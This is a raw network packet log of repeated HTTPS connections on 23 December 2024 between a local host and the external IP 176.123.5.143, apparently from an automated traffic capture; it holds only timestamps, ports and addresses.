Dec 23, 2024 07:37:54.412794113 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:54.455338955 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:55.888134003 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:55.888158083 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:55.888184071 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:55.888236046 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:55.888262987 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:55.888281107 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:55.888314009 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:55.996433020 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:55.996460915 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:55.996517897 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:55.996551991 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:55.996570110 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:55.996615887 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.084708929 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:56.084736109 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:56.084809065 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.084882975 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:56.084923029 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.084944963 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.158483982 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:56.158567905 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:56.158593893 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.158660889 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.158955097 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.158955097 CET	49735	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.158996105 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:56.159022093 CET	443	49735	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:56.365377903 CET	49743	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.365437984 CET	443	49743	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:56.365529060 CET	49743	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.365627050 CET	49743	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.365798950 CET	443	49743	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:56.365938902 CET	49743	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.434633970 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.434693098 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:56.434760094 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.435339928 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:56.435355902 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:57.893479109 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:57.893611908 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:57.895543098 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:57.895553112 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:57.895857096 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:57.903795004 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:57.951334953 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.297574997 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.297600985 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.297621012 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.297684908 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.297712088 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.297765970 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.401705980 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.401734114 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.401866913 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.401866913 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.401896954 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.402110100 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.490431070 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.490462065 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.490571022 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.490571022 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.490586042 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.490756035 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.559279919 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.559391022 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.559437990 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.559483051 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.559705973 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.559705973 CET	49744	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.559721947 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.559726000 CET	443	49744	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.795717001 CET	49754	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.795838118 CET	443	49754	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.795933962 CET	49754	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.796957016 CET	49754	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.797024012 CET	443	49754	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.797384977 CET	49754	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.869739056 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.869808912 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:37:59.869878054 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.874244928 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:37:59.874289036 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:01.333123922 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:01.333204985 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:01.336951017 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:01.336971045 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:01.337225914 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:01.348727942 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:01.395338058 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:02.734064102 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:02.734134912 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:02.734183073 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:02.734237909 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:02.734268904 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:02.734291077 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:02.734322071 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:02.845356941 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:02.845400095 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:02.845537901 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:02.845573902 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:02.845647097 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:02.938296080 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:02.938349009 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:02.938412905 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:02.938484907 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:02.938529015 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:02.938529968 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.004661083 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:03.004782915 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.004853964 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:03.004899979 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:03.004957914 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.012929916 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.012980938 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:03.013012886 CET	49756	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.013029099 CET	443	49756	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:03.226538897 CET	49762	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.226576090 CET	443	49762	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:03.226672888 CET	49762	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.232188940 CET	49762	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.232588053 CET	443	49762	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:03.232650042 CET	49762	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.285914898 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.285953999 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:03.286020041 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.286367893 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:03.286377907 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:04.743727922 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:04.743916988 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:04.745491028 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:04.745501041 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:04.745799065 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:04.747052908 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:04.787345886 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.140973091 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.141002893 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.141015053 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.141197920 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.141216040 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.141268015 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.254745007 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.254776001 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.254827976 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.254843950 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.254887104 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.254900932 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.335201025 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.335223913 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.335310936 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.335333109 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.335380077 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.406152010 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.406240940 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.406265974 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.406286001 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.406457901 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.406476974 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.406488895 CET	49763	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.406495094 CET	443	49763	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.603362083 CET	49774	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.603436947 CET	443	49774	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.603549957 CET	49774	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.603719950 CET	49774	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.603777885 CET	443	49774	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.603837013 CET	49774	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.654542923 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.654582024 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:06.654681921 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.655057907 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:06.655071974 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:08.111993074 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:08.112093925 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:08.114056110 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:08.114068985 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:08.114358902 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:08.117213011 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:08.163378000 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.512103081 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.512130976 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.512152910 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.512255907 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.512290001 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.512353897 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.623452902 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.623486996 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.623739958 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.623769999 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.623840094 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.708316088 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.708345890 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.708487988 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.708513021 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.708631992 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.778724909 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.778805971 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.778842926 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.778913021 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.779535055 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.779556036 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.779598951 CET	49775	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.779604912 CET	443	49775	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.976798058 CET	49785	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.976861000 CET	443	49785	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.976975918 CET	49785	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.977077007 CET	49785	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:09.977163076 CET	443	49785	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:09.977308989 CET	49785	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:10.029774904 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:10.029797077 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:10.029879093 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:10.030230999 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:10.030241013 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:11.485260010 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:11.485344887 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:11.486736059 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:11.486742020 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:11.486984968 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:11.488226891 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:11.531373978 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:12.888705969 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:12.888739109 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:12.888756990 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:12.888797045 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:12.888818026 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:12.888844013 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:12.888868093 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:12.999362946 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:12.999389887 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:12.999494076 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:12.999511003 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:12.999560118 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.084793091 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:13.084835052 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:13.084914923 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.084930897 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:13.084973097 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.157697916 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:13.157778025 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:13.157922983 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.158252954 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.158252954 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.158271074 CET	49786	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.158288956 CET	443	49786	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:13.375464916 CET	49793	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.375529051 CET	443	49793	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:13.375660896 CET	49793	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.375838041 CET	49793	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.375874996 CET	443	49793	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:13.375937939 CET	49793	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.428833961 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.428873062 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:13.428939104 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.429433107 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:13.429446936 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:14.889473915 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:14.889619112 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:14.891138077 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:14.891148090 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:14.891391039 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:14.893333912 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:14.939326048 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.286989927 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.287025928 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.287038088 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.287139893 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.287153959 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.287204981 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.400379896 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.400423050 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.400456905 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.400470018 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.400494099 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.400516987 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.483026981 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.483068943 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.483088970 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.483098984 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.483124018 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.483148098 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.552148104 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.552244902 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.552247047 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.552299023 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.552521944 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.552536964 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.552550077 CET	49794	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.552556038 CET	443	49794	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.747642994 CET	49804	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.747698069 CET	443	49804	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.747787952 CET	49804	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.747936010 CET	49804	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.747982979 CET	443	49804	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.748034000 CET	49804	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.800297022 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.800343037 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:16.800421953 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.800776005 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:16.800791025 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:18.261240959 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:18.261307001 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:18.262708902 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:18.262727022 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:18.263072968 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:18.264338017 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:18.307336092 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.663220882 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.663247108 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.663264990 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.663372993 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:19.663409948 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.663435936 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:19.663464069 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:19.776406050 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.776514053 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:19.776535034 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.776546001 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.776595116 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:19.859409094 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.859433889 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.859569073 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:19.859592915 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.859632969 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:19.929497957 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.929575920 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.929593086 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:19.929637909 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:19.929843903 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:19.929862022 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:19.929882050 CET	49805	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:19.929887056 CET	443	49805	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:20.136434078 CET	49812	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:20.136483908 CET	443	49812	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:20.136568069 CET	49812	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:20.136651039 CET	49812	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:20.136698961 CET	443	49812	176.123.5.143	192.168.2.10
Dec 23, 2024 07:38:20.136749029 CET	49812	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:20.192878962 CET	49813	443	192.168.2.10	176.123.5.143
Dec 23, 2024 07:38:20.192946911 CET	443	49813	176.123.5.143	192.168.2.10
